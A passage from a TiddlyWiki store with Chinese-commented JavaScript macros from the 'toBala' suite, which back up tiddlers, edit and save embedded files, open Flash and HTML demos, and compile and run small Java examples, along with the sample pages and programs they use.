      var tbTempArr = toBala.getMainTree(xtag);

      for(var i=0; i<tbTempArr.length; ++i)
           toBala.TagDigg(tbTempArr[i]);
   }

   // 取出資訊樹所有文章的 DIV 內容
   var tbText='<html><head><meta http-equiv="Content-Type" content="text/html;charset=UTF-8" /><body>\n<div id="storeArea">';
   if (toBala.AllTiddlers!="") {
      var tbArr = toBala.AllTiddlers.split(",");
      for(i=0;i<tbArr.length;++i){
         if (tbArr[i])
            tbText = tbText+ "\n" + toBala.getTiddlerDIV(tbArr[i]);
      }
   }
   // 取出指定文章的 DIV 內容
   if (xtd!=""){
      tbArr = xtd.split(",");
      for(i=0;i<tbArr.length;++i)
          tbText = tbText+ "\n" + toBala.getTiddlerDIV(tbArr[i]);
   }
   tbText = tbText + "</div></body></html>";

   var s = saveFile(baseDIR+ (config.browser.isWindows?xfname:xfname.replace(/\\/g,"\/")), convertUnicodeToUTF8(tbText));
   if (s) {
      saveChanges(true);
      alert("備份完成");
   } else {
      alert("備份失敗");
   }
}
//}}}
config.options.chkAutoSave=false;
config.options.chkSaveBackups=false;
config.options.txtUserName="toBala";
config.options.txtMaxEditRows=50;
config.options.chkHttpReadOnly=true;

config.options.chkHideTabsBarWhenSingleTab=true;

config.options.chkDisableWikiLinks=true;
config.options.chkAllowLinksFromShadowTiddlers=true;
config.options.chkDisableNonExistingWikiLinks=true;
/***
|''巨集名稱:''|toBalaCoreBackup|
|''版本:''|1.0 (2008-09-12)|
|''原始檔:''||
|''作者:''|S L CHEN|
|''授權:''|BSD|
|''倚賴''||
|''TiddlyWiki 適用版本''|2.3+|
|''適用瀏覽器''|Firefox 1.5+, IE 6.0|
|''使用文件''| &lt;&lt;toBalaCoreBackup '備份檔名' '文章,文章,文章'&gt;&gt;|
***/

//{{{
// 自定的巨集變數, 開頭前三個字如為 txt, 結合 option 巨集會以文字欄處理, 前三個字如為 chk, 結合 option 巨集會以 checkbox 欄處理
config.options.txtBalaCoreBackupFileName = config.options.txtBalaCoreBackupFileName ? config.options.txtBalaCoreBackupFileName : "toBalaMacro.html";
config.options.txtBalaCoreBackupOthers = config.options.txtBalaCoreBackupOthers ? config.options.txtBalaCoreBackupOthers : "";

config.macros.toBalaCoreBackup = {};
config.macros.toBalaCoreBackup.handler = function(place,macroName,params,wikifier,paramString,tiddler){

  if (readOnly) {
     return;
  }

  if (!params[0] && config.options.txtBalaCoreBackupFileName == "") {
     alert("請給檔名");
     return;
  }
  var tbName = params[0] || config.options.txtBalaCoreBackupFileName;          // toBala 巨集備份檔名
  var tbTD = params[1] || config.options.txtBalaCoreBackupOthers;            // 其它備份文章
  var label = params[2] || "備份 toBala 巨集";
  var tooltip = params[3] || "備份 toBala 巨集 : " + tbName;

  createTiddlyButton(place, label, tooltip,
       function(e) { config.macros.toBalaCoreBackup.save(e, tbName, tbTD); },
       null, null, null);
}

config.macros.toBalaCoreBackup.save = function(ev,xfname, xtd) {

  if (config.browser.isIE) {
     window.event.cancelBubble=true;
  } else {  
     ev.cancelBubble = true;   
     if (ev.stopPropagation)  
        ev.stopPropagation();
  }

  var baseDIR = getLocalPath(document.URL);
  //alert(baseDIR);
  
   if (config.browser.isWindows) {
      var baseDIR = baseDIR.replace(/\//g,"");
      var x = baseDIR.lastIndexOf("\\");
   } else {
      var x = baseDIR.lastIndexOf("/");
   }

   baseDIR = baseDIR.substr(0,x+1);
   // alert(baseDIR);

   // 取出所有 toBala 巨集的 DIV 內容
   var tbT2 = store.getTaggedTiddlers("toBala");
   var tbText='<html><head><meta http-equiv="Content-Type" content="text/html;charset=UTF-8" /></head>';
   tbText = tbText + '<body>\n<div id="storeArea">';
   for (var i=0; i<tbT2.length; ++i) {
        tbText = tbText+ "\n" + toBala.getTiddlerDIV(tbT2[i].title);
   }

   // 取出指定文章的 DIV 內容
   if (xtd!=""){
      tbArr = xtd.split(",");
      for(i=0;i<tbArr.length;++i)
          tbText = tbText+ "\n" + toBala.getTiddlerDIV(tbArr[i]);
   }
   tbText = tbText + "</div></body></html>";

   var s = saveFile(baseDIR+ (config.browser.isWindows?xfname:xfname.replace(/\\/g,"\/")), convertUnicodeToUTF8(tbText));
   if (s) {
      saveChanges(true);
      alert("備份完成");
   } else {
      alert("備份失敗");
   }
}
//}}}
/***
|''巨集名稱:''|toBalaFile|
|''版本:''|1.0 (2008-05-09)|
|''原始檔:''||
|''作者:''|S L CHEN|
|''授權:''|BSD|
|''倚賴''||
|''TiddlyWiki 適用版本''|2.3+|
|''適用瀏覽器''|Firefox 1.5+, IE 6.0+|
|''使用語法''||
***/

//{{{
config.macros.toBalaFile={
	
	editLabel: "編輯",
	editTip: "編輯",
        saveLabel: "儲存",
	saveTip: "儲存",
        cancelLabel: "取消",
	cancelTip: "取消",
    
	GUIEditButtonOnclick: function(e,xtiddler,xbox,xfname,xx,yy) {

            if (config.browser.isIE) {
               window.event.cancelBubble=true;
            } else {  
               e.cancelBubble = true;   
               if (e.stopPropagation)  
                  e.stopPropagation();
            }

            removeChildren(xbox);

            var boxtool = createTiddlyElement(xbox,"div",null,"toBalaFileToolBar",null,null);
            var boxtext = createTiddlyElement(xbox,"textarea",null,null,null,null);
            wikify("@@color:#841;border:2px dotted #841;padding:2px;檔案 : <nowiki>"+xfname+"</nowiki>@@ ",boxtool);

            createTiddlyButton(boxtool,this.saveLabel,this.saveTip,
                            function(e) { config.macros.toBalaFile.GUISaveButtonOnclick(e,xtiddler,xbox,xfname,boxtext,xx,yy); },
                            "toBalaFileSave",null,null);
	    createTiddlyButton(boxtool,this.cancelLabel,this.cancelTip,
                            function(e) { config.macros.toBalaFile.GUICancelButtonOnclick(e,xtiddler,xbox,xfname,xx,yy); },
                            "toBalaFileCancel",null,null);

            // alert(xtitle+":"+xx+":"+yy);
            boxtext.setAttribute("rows",20);
            boxtext.setAttribute("cols",88);
            boxtext.value = xtiddler.text.substring(xx,yy);
        },

	GUISaveButtonOnclick: function(e,xtiddler1,xbox1,xfname1,boxtext1,xx1,yy1) {

            if (config.browser.isIE) {
               window.event.cancelBubble=true;
            } else {  
               e.cancelBubble = true;   
               if (e.stopPropagation)  
                  e.stopPropagation();
            }
 
            removeChildren(xbox1);
            var xtext=boxtext1.value;
            if (config.browser.isIE) {              
               xtext=xtext.replace(/\r/g,"");   // 請看最後的註解
            }
            var toptext=xtiddler1.text.substring(0,xx1);
            var bottomtext=xtiddler1.text.substring(yy1);
            xtext = (xtext.charAt(xtext.length-1) == "\n" ? xtext : xtext+"\n");
            xtiddler1.text=toptext+xtext+bottomtext;

            story.refreshTiddler(xtiddler1.title,null,true);
            saveChanges(false);              // 參數 false, 代表不管 Dirty 與否, 均要執行存檔動作

            var baseDIR = getLocalPath(document.URL);
  
            if (config.browser.isWindows) {
                var baseDIR = baseDIR.replace(/\//g,"");
                var x = baseDIR.lastIndexOf("\\");
             } else {
                var x = baseDIR.lastIndexOf("/");
             }

            baseDIR = baseDIR.substr(0,x+1);

            var s = saveFile(baseDIR+ (config.browser.isWindows ? xfname1 : xfname1.replace(/\\/g,"\/")), 
                                          convertUnicodeToUTF8(boxtext1.value));
            if (!s) {
               alert("存檔失敗");
            }
        },

	GUICancelButtonOnclick: function(e,xtiddler1,xbox1,xfname1,xx1,yy1) {

            if (config.browser.isIE) {
               window.event.cancelBubble=true;
            } else {  
               e.cancelBubble = true;   
               if (e.stopPropagation)  
                  e.stopPropagation();
            }

            removeChildren(xbox1);

            var boxtool = createTiddlyElement(xbox1,"div",null,"toBalaFileToolBar",null,null);
            wikify("@@color:#841;border:2px dotted #841;padding:2px;檔案 : <nowiki>"+xfname1+"</nowiki>@@ ",boxtool);

	    createTiddlyButton(boxtool,this.editLabel,this.editTip,
                            function(e) { config.macros.toBalaFile.GUIEditButtonOnclick(e,xtiddler1,xbox1,xfname1,xx1,yy1);},
                            "toBalaFileEdit",null,null);

             var boxarea = createTiddlyElement(xbox1,"div",null,null,null,null);
	     wikify("{{{\n"+xtiddler1.text.substring(xx1,yy1-1)+"\n}}}",boxarea);
        },

	handler : function(place,macroName,params,wikifier,paramString,tiddler){

                if (!params[0]) {
                  alert("請給檔名");
                  return;
                } 

		var xtext=store.getTiddlerText(tiddler.title);
                var x1=xtext.indexOf("/"+"/"+"/"+"%" + params[0]);

                // 自動產生 TiddlyWiki 備註
                if (x1 == -1) { 
                   xtext=xtext+"\n\n/"+"/"+"/"+"%" + params[0] + "\n" + "/"+"/"+"%"+"/";
                   tiddler.text=xtext; 
                   story.refreshTiddler(tiddler.title,null,true); // 這個 Tiddler 會重新顯示, 也就是 handler 會再被執行一次
                   //saveChanges(false);
                 }
                var x2=xtext.indexOf("/"+"/"+"%"+"/",x1);
                x1=x1+params[0].length+5;

		var box = createTiddlyElement(place,"div",tiddler.title+"-"+x1,"toBalaFile",null,null);
                var boxtool = createTiddlyElement(box,"div",null,"toBalaFileToolBar",null,null);
                wikify("@@color:#841;border:2px dotted #841;padding:2px;檔案 : <nowiki>"+params[0]+"</nowiki>@@ ",boxtool);

                var boxtext = createTiddlyElement(box,"div",null,null,null,null);
		wikify("{{{\n"+xtext.substring(x1,x2-1)+"\n}}}",boxtext);

                if (readOnly) {
                   return;
                }
		createTiddlyButton(boxtool,this.editLabel,this.editTip,
                            function(e) { config.macros.toBalaFile.GUIEditButtonOnclick(e,tiddler,box,params[0],x1,x2);},
                            "toBalaFileEdit",null,null);
	}		
};

/*
HTML 的 textarea 標籤, 對於換行在不同的瀏覽器有不同的處理方式

As you may know, the humble line break actually has three forms depending on which operating system is doing the breaking. On Unix machines, a single newline character ‘\n’ does the job. On Macs, a carriage return ‘\r’ is used. DOS and Windows use both: ‘\r\n’. It’s one of those relatively subtle issues that can bite you hard if you don’t know what to look out for.
*/

//}}}
在文章中使用 toBalaFile 巨集, 可將巨集中所編輯的文字, 存入指定的檔案, 請看以下使用格式
{{{
<<toBalaFile "ajax\html\hello.htm">>

此巨集以 UTF-8 編碼, 儲存檔文字到檔案
}}}

__{{op1{實作範例}}}__
<<toBalaFile "ajax\html\hello.htm">>

///%ajax\html\hello.htm
<html>
<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf8">
</head>

<body>
<h2 align=center>利用 JavaScript 來印出 "Hello World!"</h2>
<hr>
<script language="javascript">
	str = "Hello World!";
	document.write(str);
</script>
<hr>
</body>
</html>
//%/
{{item1{說明}}}
{{{

<<toBalaFile "檔名">>

}}}
{{item1{範例}}}
<<toBalaFile "xml\abc.xml">>


///%xml\abc.xml
<?xml version='1.0'?>
<root>
  <marble color="red"/>
  <marble color='red'/>
</root> 
//%/
/***
|''巨集名稱:''|toBalaFlashPlayer|
|''版本:''|1.0 (2008-03-06)|
|''原始檔:''||
|''作者:''|S L CHEN|
|''授權:''|BSD|
|''倚賴''||
|''TiddlyWiki 適用版本''|2.3+|
|''適用瀏覽器''|Firefox 1.5+, IE 6.0+|
|''使用語法''| |
***/
//{{{
config.macros.toBalaFlashPlayer = {};

config.macros.toBalaFlashPlayer.handler = function(place,macroName,params,wikifier,paramString,tiddler){

  var xname = params[0] || tiddler.title;
  var label = params[1] || "撥放 " + xname;
  var xwidth = params[2] || 600;
  var xheight = params[3] || 450;

  createTiddlyButton(place, label, label,
       function(e) { config.macros.toBalaFlashPlayer.show(e, xname, xwidth, xheight); },
       null, null, null);
}

config.macros.toBalaFlashPlayer.show = function(ev,fname,xw,xh) {

  if (config.browser.isIE) {
     window.event.cancelBubble=true;
  } else {  
     ev.cancelBubble = true;   
     if (ev.stopPropagation)  
        ev.stopPropagation();
  }

  if (config.browser.isIE)
     var URLtext = document.URL.replace(/\\/g,"\/");
  else 
     var URLtext = document.URL;
  //alert(URLtext);

  var x = URLtext.lastIndexOf("/");
  var baseDIR = URLtext.substr(0,x);
  var jsDIR = '<script type="text/javascript" src="' + baseDIR + '/jslib/swfobject/swfobject.js"></script>'
  //alert(jsDIR);

  var generator=window.open('','name','height=' + xh +',width=' + xw);
  generator.document.open();
  generator.document.write('<html><head><title>toBala Flash Player</title>');
  generator.document.write(jsDIR);
  generator.document.write('</head><body>');
  generator.document.write('<div id="flashTag" style="width:'+(xw-5)+'px;height:'+(xh-5)+'px;overflow:auto"></div>');
  generator.document.write('<script type="text/javascript">');
  generator.document.write('var xo = new SWFObject("' + baseDIR + '/' + fname + '","mymovie","'+(xw-5)+'","'+(xh-5)+'","8", "#336699");');
  //generator.document.write('xo.addParam("wmode", "transparent");');
  generator.document.write('xo.write("flashTag");');
  generator.document.write('</script>');
  generator.document.write('</body></html>');
  generator.document.close();

}
//}}}
使用 toBalaFlashPlayer 巨集, 來撥放指定的 Flash 檔, 命令格式如下 :
{{{
<<toBalaFlashPlayer "movie/infotree.swf" "" "820" "610">>
}}}

{{item1{實作範例 : winzip 的安裝}}}

<<toBalaFlashPlayer "movie/winzip.swf" "" "800" "580">>
/***
|''巨集名稱:''|toBalaHTML|
|''版本:''|1.0 (2008-03-18)|
|''原始檔:''||
|''作者:''|S L CHEN|
|''授權:''|BSD|
|''倚賴''||
|''TiddlyWiki 適用版本''|2.3+|
|''適用瀏覽器''|Firefox 1.5+, IE 6.0+|
|''使用語法''|&lt;&lt;toBalaHTML  title  filename  label  tooltip  width  height&gt;&gt; |
***/

//{{{
config.macros.toBalaHTML = {};

config.macros.toBalaHTML.handler = function(place,macroName,params,wikifier,paramString,tiddler){

  var title = params[0] || tiddler.title;
  var xfname = params[1] || "";          // 外部檔名
  var label = params[2] || "測試網頁";
  var tooltip = params[3] || "開啟另一個視窗, 檢視網頁";
  var xwidth = params[4] || 550;
  var xheight = params[5] || 400;

  createTiddlyButton(place, label, tooltip,
       function(e) { config.macros.toBalaHTML.show(e,title,xfname,xwidth,xheight); },
       null, null, null);
}

config.macros.toBalaHTML.show = function(ev,xtitle,xf,xw,xh) {

  if (config.browser.isIE) {
     window.event.cancelBubble=true;
  } else {  
     ev.cancelBubble=true;   
     if (ev.stopPropagation)  
        ev.stopPropagation();
  }

  // 將視窗置中
  var winl = (screen.width-xw)/2;
  var wint = (screen.height-xh)/2;
  if (winl < 0) winl = 0;
  if (wint < 0) wint = 0;
  var settings = 'height='  + xh +  ', width=' + xw  + ',top='  + wint  + ',left='  + winl;

  if (xf != "") {

     xf=xf.replace(/\\/mg,"/");

     // alert(xf+":"+settings);
     var xwin=window.open(xf,"HTMLWIN",settings);
     xwin.window.focus();

  } else {
    // alert(store.getTiddlerText(xtitle));
    xtext=store.getTiddlerText(xtitle);

    x1=xtext.indexOf("/*{{{*/");
    x2=xtext.indexOf("/*}}}*/");
    // alert(xtext.substring(x1+8,x2));
    xtext = xtext.substring(x1+8,x2);

    var xwin=window.open('','',settings);
    xwin.document.open();
    xwin.document.write(xtext);
    xwin.document.close();
  }
}
/*
window.open() 參數
----------------------------------------------
* width:定義新視窗的寬度。
* height:定義新視窗的高度。
* resizable:能否讓用戶調整視窗大小,可能的設定值為:yes或no(或者1與0)。
* menubar:是否要顯示主功能表,可能的設定值為:yes或no。
* toolbar:是否要顯示「標準按鈕」工具列,可能的設定值為:yes或no。
* location:是否要顯示網址欄位,可能的設定值為:yes或no。
* scrollbars:能否顯示捲軸,可能的設定值為:yes或no。
* status:是否要呈現狀態列,可能的設定值為:yes或no。
* directories:是否要呈現額外的按鈕(例如:「連結」列,以及「標準按鈕」以外的其他按鈕),可能的設定值為:yes或no。
* copyhistory:是否要複製原有瀏覽器視窗的瀏覽歷程(history),可能的設定值為:yes或no。
* fullscreen:是否要以全螢幕方式開啟新視窗(適用於IE瀏覽器),可能的設定值為:yes或no。
*/
//}}}
{{item1{你可以直接載入已存在的網頁檔, 巨集如下 :}}}
{{{
<<toBalaHTML "" "ajax\html\iframe.htm" "顯示外部檔案: ajax\html\iframe.htm">>
}}}

<<toBalaHTML "" "ajax\html\iframe.htm">>

{{item1{你可以直接載入存在 tiddler 的網頁文字, 巨集如下 :}}}
{{{
<<toBalaHTML "" "" "網頁顯示 : 直接載入以下網頁文字">>
}}}

<<toBalaHTML "" "" "網頁顯示 : 直接載入以下網頁文字">>
/*{{{*/
<html>
<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
</head>

<style>
body {color:red;background-color: yellow}
</style>

<body>
<h2 align=center>印出 "Hello World!"</h2>
</body>
</html>
/*}}}*/
<<toBalaHTML "" "ajax/html/e4x.htm" "網頁測試 : ajax/html/e4x.htm">><<toBalaFile "ajax\html\e4x.htm">>

///%ajax\html\e4x.htm
<html>
<script type="text/javascript;e4x=1">
      myquestion = <question>          
      <display>Is it animal, vegetable, or mineral?</display>              
      <answerOption>Animal</answerOption>
      <answerOption>Vegetable</answerOption>
      <answerOption>Mineral</answerOption>
      </question>;
      alert("The question is '" + myquestion.display + "'");             
</script>
</html>
//%/
這範例程式可在 IE, Firefox, Opera  等瀏覽器中執行

<<toBalaHTML "" "ajax\html\contentEditableFF.htm">><<toBalaFile "ajax\html\contentEditableFF.htm">>

///%ajax\html\contentEditableFF.htm
<body>
<iFrame id="jia" src="about:blank"></iFrame>  
<script>  
  // window.onload   =   function(){  
  var jia = document.getElementById("jia");  
  jia.contentWindow.document.designMode="on";  
  jia.contentWindow.document.contentEditable=true;  
  jia.contentWindow.document.open();  
  jia.contentWindow.document.write("<html><head></head><body></body></html>");  
  jia.contentWindow.document.close();  
  // }  
</script>
</body>
//%/
必須關閉瀏覽器 [阻檔 POPUP 視窗] 功能, 以下程式才能執行

<<toBalaHTML "" "ajax\html\popup.htm">><<toBalaFile "ajax\html\popup.htm">>


///%ajax\html\popup.htm
<html>
<head>
<script type="text/javascript">
function show_popup()
{
   var p=window.createPopup();
   var pbody=p.document.body;
   pbody.style.backgroundColor="lime";
   pbody.style.border="solid black 1px";
   pbody.innerHTML="This is a pop-up! Click outside to close.";
   p.show(150,150,200,50,document.body);
}
</script>
</head>

<body>
<button onclick="show_popup()">Create pop-up!</button>
</body>

</html>
//%/
/***
|''巨集名稱:''|toBalaJava|
|''版本:''|1.0 (2008-04-01)|
|''原始檔:''||
|''作者:''|S L CHEN|
|''授權:''|BSD|
|''倚賴''|toBalaRun|
|''TiddlyWiki 適用版本''|2.3+|
|''適用瀏覽器''|Firefox 1.5+, IE 6.0+|
|''使用語法''|&lt;&lt;toBalaJava  "程式檔名"  "前置編譯參數"  "前置執行參數"  "後置執行參數" "按鈕提示資訊" "按鈕提示資訊"&gt;&gt; |
***/

//{{{
config.macros.toBalaJava = {};

config.macros.toBalaJava.handler = function(place,macroName,params,wikifier,paramString,tiddler){

  if (readOnly) {
     return;
  }

  if (!params[0].match(".java")) {
     alert("請給檔名或副檔名錯誤");
     return;
  }

  // 程式檔名
  var xfname = params[0]; 

  // 前置編譯參數 
  var cprearg = params[1] || "";

  // 前置執行參數 
  var eprearg = params[2] || "";

  // 後置執行參數 
  var postarg = params[3] || "";

  var cargs = (cprearg=="" ? "":cprearg+" ") + xfname;
  //alert(cargs);

  var p = xfname.indexOf(".java");
  yfname=xfname.substring(0,p);
  p=yfname.lastIndexOf("\\");
  yfname=yfname.substring(p+1,yfname.length);

  var rargs = (eprearg==""?"":eprearg+" ") + yfname + (postarg==""?"":" "+postarg);
  //alert(rargs);

  // 按鈕提示資訊
  var clabel = params[4] || "翻譯程式 :" + xfname;
  var rlabel = params[5] || "執行程式 :" + yfname;

  // 翻譯程式
  createTiddlyButton(place, clabel, clabel,
       function(e) { config.macros.toBalaRun.cmd(e,"tbjavac.exe",cargs,"yes"); },
       null, null, null);

  // 執行程式
  createTiddlyButton(place, rlabel, rlabel,
       function(e) { config.macros.toBalaRun.cmd(e,"tbjava.exe",rargs,"yes"); },
       null, null, null);
}
//}}}
/***
|''巨集名稱:''|toBalaJava2|
|''版本:''|1.1 (2008-07-02)|
|''原始檔:''||
|''作者:''|S L CHEN|
|''授權:''|BSD|
|''倚賴''|toBalaRun|
|''TiddlyWiki 適用版本''|2.3+|
|''適用瀏覽器''|Firefox 1.5+, IE 6.0+|
|''使用語法''|&lt;&lt;toBalaJava2 "程式檔名" "前置編譯參數" "前置執行參數" "後置執行參數"&gt;&gt;|
***/

//{{{
config.macros.toBalaJava2={
	
	editLabel: "程式編輯",
	editTip: "程式編輯",
	compileLabel: "編譯程式",
	compileTip: "編譯程式",
	runLabel: "執行程式",
	runTip: "執行程式",
        saveLabel: "儲存程式",
	saveTip: "儲存程式",
        cancelLabel: "取消編輯",
	cancelTip: "取消編輯",

	GUIEditButtonOnclick: function(e,xtiddler,xbox,xfname1,xx,yy) {

            if (config.browser.isIE) {
               window.event.cancelBubble=true;
            } else {  
               e.cancelBubble = true;   
               if (e.stopPropagation)  
                  e.stopPropagation();
            }

            removeChildren(xbox);

            var boxtool = createTiddlyElement(xbox,"div",null,"toBalaFileToolBar",null,null);
            var boxtext = createTiddlyElement(xbox,"textarea",null,null,null,null);
            wikify("@@color:#841;border:2px dotted #841;padding:2px;檔案 : <nowiki>"+xfname1+"</nowiki>@@ ",boxtool);

            createTiddlyButton(boxtool,this.saveLabel,this.saveTip,
                            function(e) { config.macros.toBalaJava2.GUISaveButtonOnclick(e,xtiddler,xbox,xfname1,boxtext,xx,yy); },
                            "toBalaFileSave",null,null);
	    createTiddlyButton(boxtool,this.cancelLabel,this.cancelTip,
                            function(e) { config.macros.toBalaJava2.GUICancelButtonOnclick(e,xtiddler,xbox,xx,yy); },
                            "toBalaFileCancel",null,null);

            // alert(xtitle+":"+xx+":"+yy);
            boxtext.setAttribute("rows",20);
            boxtext.setAttribute("cols",88);
            boxtext.value = xtiddler.text.substring(xx,yy);
        },

	GUISaveButtonOnclick: function(e,xtiddler1,xbox1,xfname2,boxtext1,xx1,yy1) {

            if (config.browser.isIE) {
               window.event.cancelBubble=true;
            } else {  
               e.cancelBubble = true;   
               if (e.stopPropagation)  
                  e.stopPropagation();
            }
 
            removeChildren(xbox1);
            var xtext=boxtext1.value;
            if (config.browser.isIE) {              
               xtext=xtext.replace(/\r/g,"");   // 請看最後的註解
            }
            var toptext=xtiddler1.text.substring(0,xx1);
            var bottomtext=xtiddler1.text.substring(yy1);
            xtext = (xtext.charAt(xtext.length-1) == "\n" ? xtext : xtext+"\n");
            xtiddler1.text=toptext+xtext+bottomtext;

            story.refreshTiddler(xtiddler1.title,null,true);
            saveChanges(false);              // 參數 false, 代表不管 Dirty 與否, 均要執行存檔動作

            var baseDIR = getLocalPath(document.URL);
  
            if (config.browser.isWindows) {
                var baseDIR = baseDIR.replace(/\//g,"");
                var x = baseDIR.lastIndexOf("\\");
             } else {
                var x = baseDIR.lastIndexOf("/");
             }

            baseDIR = baseDIR.substr(0,x+1);

            var s = saveFile(baseDIR+ (config.browser.isWindows ? xfname2 : xfname2.replace(/\\/g,"\/")), 
                                          convertUnicodeToUTF8(boxtext1.value));
            if (!s) {
               alert("存檔失敗");
            }
        },

	GUICancelButtonOnclick: function(e,xtiddler1,xbox1,xx1,yy1) {

            if (config.browser.isIE) {
               window.event.cancelBubble=true;
            } else {  
               e.cancelBubble = true;   
               if (e.stopPropagation)  
                  e.stopPropagation();
            }

            removeChildren(xbox1);
            story.refreshTiddler(xtiddler1.title,null,true);
        },

	handler : function(place,macroName,params,wikifier,paramString,tiddler){

              if (!params[0].match(".java")) {
                 alert("請給檔名或副檔名錯誤");
                 return;
              }

              // 程式檔名
              var xfname = params[0]; 

              // javac 編譯參數 
              var cprearg = params[1] || "";

              // java 執行參數 
              var eprearg = params[2] || "";

              // 你的程式執行參數 
              var postarg = params[3] || "";

              var cargs = (cprearg=="" ? "":cprearg+" ") + xfname;
              //alert(cargs);

              var p = xfname.indexOf(".java");
              yfname=xfname.substring(0,p);
              p=yfname.lastIndexOf("\\");
              yfname=yfname.substring(p+1,yfname.length);

              var rargs = (eprearg==""?"":eprearg+" ") + yfname + (postarg==""?"":" "+postarg);
              //alert(rargs);

	      var xtext=store.getTiddlerText(tiddler.title);

              // 取得程式段的起始位址
              var x1=xtext.indexOf("/"+"/"+"/"+"%" + xfname);

                // 自動產生程式段 (TiddlyWiki 備註)
                if (x1 == -1) { 
                   xtext=xtext+"\n\n/"+"/"+"/"+"%" + xfname + "\n" + "/"+"/"+"%"+"/";
                   tiddler.text=xtext; 
                   story.refreshTiddler(tiddler.title,null,true); // 這個 Tiddler 會重新顯示, 也就是 handler 會再被執行一次
                   //saveChanges(false);
                 }
                var x2=xtext.indexOf("/"+"/"+"%"+"/",x1);
                x1=x1+params[0].length+5;

		var box = createTiddlyElement(place,"div",tiddler.title+"-"+x1,"toBalaFile",null,null);
                var boxtool = createTiddlyElement(box,"div",null,"toBalaFileToolBar",null,null);
                wikify("@@color:#841;border:2px dotted #841;padding:2px;檔案 : <nowiki>"+xfname+"</nowiki>@@ ",boxtool);

                var boxtext = createTiddlyElement(box,"div",null,null,null,null);
		wikify("{{{\n"+xtext.substring(x1,x2-1)+"\n}}}",boxtext);

                if (readOnly) {
                   return;
                }

                // 編輯程式
		createTiddlyButton(boxtool,this.editLabel,this.editTip,
                            function(e) { config.macros.toBalaJava2.GUIEditButtonOnclick(e,tiddler,box,xfname,x1,x2);},
                            "toBalaFileEdit",null,null);

                // 翻譯程式
		createTiddlyButton(boxtool,this.compileLabel,this.compileTip,
                            function(e) { config.macros.toBalaRun.cmd(e,"tbjavac.exe",cargs,"yes"); },
                            "toBalaFileEdit",null,null);

                // 執行程式
                if (xtext.substring(x1,x2-1).indexOf("main") != -1) {
		       createTiddlyButton(boxtool,this.runLabel,this.runTip,
                            function(e) { config.macros.toBalaRun.cmd(e,"tbjava.exe",rargs,"yes");},
                            "toBalaFileEdit",null,null);
                }
	}		
};

/*
HTML 的 textarea 標籤, 對於換行在不同的瀏覽器有不同的處理方式

As you may know, the humble line break actually has three forms depending on which operating system is doing the breaking. On Unix machines, a single newline character ‘\n’ does the job. On Macs, a carriage return ‘\r’ is used. DOS and Windows use both: ‘\r\n’. It’s one of those relatively subtle issues that can bite you hard if you don’t know what to look out for.
*/

//}}}
{{item1{程式範例}}} 
{{{
使用 toBalaJava2 巨集, 撰寫, 編譯及執行 Java 程式, 命令格式如下 :

<<toBalaJava2 "java\hello.java" "" "">>
}}}
<<toBalaJava2 "java\hello.java" "" "">>

{{item1{程式範例 : 輸入 [編譯] 及 [執行] 參數}}}
{{{
使用 toBalaJava2 巨集, 編譯及執行 Java 程式, 命令格式如下 :
<<toBalaJava2 "java\assertion.java" "-source 1.4" "-ea">>

"-source 1.4" 是編譯參數
"-ea" 是執行參數
}}}
<<toBalaJava2 "java\assertion.java" "-source 1.4" "-ea">>

{{item1{程式範例 : 輸入程式參數}}}
{{{
使用 toBalaJava2 巨集, 編譯及執行 Java 程式, 命令格式如下 :

<<toBalaJava2 "java\args.java" "" "" "aa bb cc">>
}}}
<<toBalaJava2 "java\args.java" "" "" "aa bb cc">>


///%java\hello.java
public class hello {
  public static void main(String[] args){
     System.out.println("大家好好");
  }
}
//%/

///%java\assertion.java
class assertion {
  public static void main(String[] args){
    int i=-11;
    if (i%3==0) 
      { System.out.println("0"); }
    else if (i%3==1) 
      { System.out.println("1"); }
    else {
      assert((i%3)==2):i;
    }
  }
}
//%/

///%java\args.java
public class args {
  public static void main(String[] args) {
    for(int i=0; i < args.length ; ++i) 
      System.out.println(args[i]);
  }
} 
//%/
//{{{
if (!window.toBala) window.toBala = {};

toBala.AllTiddlers = "";
toBala.CoreTiddlers = "";

// 讀取資訊樹的架構
toBala.getMainTree = function(xstr) {
    var tbATree = new Array();
    var tbMMenu = new Array();
    var tbTemp = new Array();

    var xtext=store.getTiddlerText("MainMenu");
    tbMMenu = xtext.split("\n");

    for (var i=0,j=0; i<tbMMenu.length; ++i) {
       tbTemp = tbMMenu[i].split(" ");
       if (tbTemp[1] && tbTemp[1].indexOf(xstr) != -1) {
          tbATree[j] = tbTemp[1];
          ++j;
       }
    }
    return tbATree;
};

// 讀取資訊樹幹的所有文章
toBala.TagDigg = function(tbTag) {

   toBala.AllTiddlers = (toBala.AllTiddlers == "" ? tbTag : toBala.AllTiddlers + "," + tbTag);    

   var tbT2 = store.getTaggedTiddlers(tbTag);
   if (tbT2) {
      for (var i=0; i<tbT2.length; ++i) 
         toBala.TagDigg(tbT2[i].title);
   }
   return;
};

// 讀出 Tiddler 所有內容, 也就是 DIV 標籤內容
toBala.getTiddlerDIV = function(tbT) {
    var tiddler = store.getTiddler(tbT)
    if (!tiddler)
       return "";
   
    var usePre = config.options.chkUsePreForStorage;
    var created = tiddler.created.convertToYYYYMMDDHHMM();
    var modified = tiddler.modified.convertToYYYYMMDDHHMM();
    var vdate = version.date.convertToYYYYMMDDHHMM();
    var attributes = tiddler.modifier ? ' modifier="' + tiddler.modifier.htmlEncode() + '"' : "";
    attributes += (usePre && modified == created) ? "" : ' modified="' + modified +'"';
    attributes += (usePre && created == vdate) ? "" :' created="' + created + '"';
    var tags = tiddler.getTags();
    if (!usePre || tags)
       attributes += ' tags="' + tags.htmlEncode() + '"';

    return ('<div %0="%1"%2>%3</'+'div>').format([
	usePre ? "title" : "tiddler",
	tiddler.title.htmlEncode(),
	attributes,
	usePre ? "\n<pre>" + tiddler.text.htmlEncode() + "</pre>\n" : tiddler.text.escapeLineBreaks().htmlEncode()
	]);
}
//}}}
/***
|''巨集名稱:''|toBalaManager|
|''版本:''|1.0 (2008-09-05)|
|''原始檔:''||
|''作者:''|S L CHEN|
|''授權:''|BSD|
|''倚賴''||
|''~TiddlyWiki 適用版本''|2.3+|
|''適用瀏覽器''|Firefox 1.5+, IE 6.0+|
|''使用語法''||
***/
//{{{
config.macros.toBalaManager={
	preText: "",
	save: function(e,ytiddler,yform) {

            //for (var i=0,str="";i<yform.elements.length;++i){
            //  str=str+yform.elements[i].type+":"+yform.elements[i].tagName+":"+yform.elements[i].value;
            //}
            //alert(str);  
